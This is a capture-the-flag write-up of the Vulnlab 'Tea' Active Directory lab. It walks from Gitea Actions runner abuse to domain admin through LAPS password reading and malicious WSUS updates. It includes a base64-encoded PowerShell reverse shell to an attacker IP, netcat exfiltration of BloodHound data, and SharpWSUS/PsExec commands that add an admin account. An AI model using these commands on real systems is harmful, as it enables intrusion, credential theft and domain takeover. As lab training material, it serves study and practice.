mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-25 05:10:23 +00:00
190 lines
7.3 KiB
Markdown
190 lines
7.3 KiB
Markdown
# Vulnlab - Tea
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## DC.tea.vl
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```bash
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PORT STATE SERVICE VERSION
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80/tcp filtered http
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88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-22 11:44:27Z)
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135/tcp open msrpc Microsoft Windows RPC
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445/tcp open microsoft-ds?
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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| ssl-cert: Subject: commonName=DC.tea.vl
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| Issuer: commonName=DC.tea.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2023-12-19T15:32:23
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| Not valid after: 2024-06-19T15:32:23
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| MD5: 192634541f77066c4d54456555ec94a4
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|_SHA-1: 4db67e0cd398334e78518b2f4b063b4d342f1508
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|_ssl-date: 2024-02-22T11:45:15+00:00; +45s from scanner time.
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| rdp-ntlm-info:
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| Target_Name: TEA
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| NetBIOS_Domain_Name: TEA
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| NetBIOS_Computer_Name: DC
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| DNS_Domain_Name: tea.vl
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| DNS_Computer_Name: DC.tea.vl
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| Product_Version: 10.0.20348
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|_ System_Time: 2024-02-22T11:44:35+00:00
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9389/tcp open mc-nmf .NET Message Framing
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Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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## SRV.tea.vl
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```bash
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80/tcp open http Microsoft IIS httpd 10.0
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|_http-title: IIS Windows Server
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| http-methods:
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| Supported Methods: OPTIONS TRACE GET HEAD POST
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|_ Potentially risky methods: TRACE
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|_http-server-header: Microsoft-IIS/10.0
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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445/tcp open microsoft-ds?
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3000/tcp open ppp?
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| fingerprint-strings:
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| GenericLines, Help, RTSPRequest:
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| HTTP/1.1 400 Bad Request
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| Content-Type: text/plain; charset=utf-8
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| Connection: close
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| Request
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| GetRequest:
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| HTTP/1.0 200 OK
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| Cache-Control: max-age=0, private, must-revalidate,
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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|_ssl-date: 2024-02-22T12:35:01+00:00; +44s from scanner time.
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| rdp-ntlm-info:
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| Target_Name: TEA
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| NetBIOS_Domain_Name: TEA
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| NetBIOS_Computer_Name: SRV
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| DNS_Domain_Name: tea.vl
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| DNS_Computer_Name: SRV.tea.vl
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```
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## PORT 3000 (Gitea)
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<img src="https://i.imgur.com/2MTYDmt.png"/>
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Registering an account on gitea and checking the users, we only have `gitea@tea.vl`
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<img src="https://i.imgur.com/PV6bgvn.png"/>
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## Abusing gitea runner
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This version is running `1.21.2` which doesn't have any exploits, from user settings under `Actions` we have one active runner
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<img src="https://i.imgur.com/KyonL9I.png"/>
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To abuse this runner, we need to first create a repository and enable `Actions`
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<img src="https://i.imgur.com/2Ouqf3o.png"/>
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Now creating `.gitea/workflows/demo.yaml` file in the repository that we have created
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<img src="https://i.imgur.com/ItKHNc2.png"/>
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<img src="https://i.imgur.com/erRIlaW.png"/>
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Using base64 encoded reverse shell
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```bash
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powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADAALgAxADMANgAiACwAMgAyADIAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
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```
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```yaml
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name: Gitea Actions Demo
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run-name: ${{ gitea.actor }} is testing out Gitea Actions 🚀
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on: [push]
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jobs:
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Explore-Gitea-Actions:
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runs-on: windows-latest
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steps:
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- run: powershell -e encode_command
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```
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<img src="https://i.imgur.com/uXOsRJT.png"/>
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Transferring and executing `SharpHound`
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```powershell
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Sharphound.exe -c all
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```
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<img src="https://i.imgur.com/kQjD9qm.png"/>
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To transfer the output, we can utilize netcat
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```bash
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cmd.exe /c '.\nc.exe -w 3 10.8.0.136 2222 < 20240222075332_BloodHound.zip'
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nc -l -p 2222 > 20240222075332_BloodHound.zip
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```
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<img src="https://i.imgur.com/oIqMky1.png"/>
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From bloodhound, it doesn't show much what ACLs does thomas have but we do see that it belongs to `Server Administration` group
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<img src="https://i.imgur.com/kSEtcEj.png"/>
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From `C:\` drive, we can see WSUS, so we might be able to abuse it
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<img src="https://i.imgur.com/biarHBc.png"/>
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## Reading LAPS on SRV
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We also have `_install` folder having LAPS (Locally Administratrive Password Solution) installer,
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<img src="https://i.imgur.com/zOb84YK.png"/>
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We can try reading LAPS on SRV as this user belongs to server administrator group, from the documentation we can use `Get-LapsADPassword` to retrieve clear text password of local administrator on SRV
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https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword?view=windowsserver2022-ps
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```bash
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Get-LapsADPassword -Identity SRV -AsPlainText
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```
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<img src="https://i.imgur.com/eesNWOf.png"/>
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We can verify this from netexec
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<img src="https://i.imgur.com/gs1ePDV.png"/>
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We know WSUS is installed which is a solution for deploying windows updates for systems in a domain where the hosts don’t have to reach out to internet to get the updates instead they can get updates internally
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<img src="https://i.imgur.com/rEGZgfB.png"/>
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## Abusing WSUS To Become Domain Admin
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Since SRV is WSUS server from where updates are deployed and we are local admin, we can deploy malicious updates to DC like adding our own user to be part of domain admin, first we'll have to create a domain user
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```bash
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cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\Administrator\Documents\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c \" net user arz P@assword123 /add \"" /title:"Up
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dating"'
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```
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<img src="https://i.imgur.com/sipfZPP.png"/>
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Now approving the update
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<img src="https://i.imgur.com/c48Ok8E.png"/>
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Verifying if the user is created
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<img src="https://i.imgur.com/n3cbcMn.png"/>
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Now adding this to local administrators group on DC
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```bash
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cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\Administrator\Documents\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c \"net localgroup administrators arz /add \"" /title:"Updating"'
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```
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<img src="https://i.imgur.com/fbEsB5A.png"/>
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Being a local admin on DC, we can just login through winrm
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<img src="https://i.imgur.com/5K7ijRk.png"/>
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# References
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- https://blog.gitea.com/hacking-on-gitea-actions/
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- https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword?view=windowsserver2022-ps
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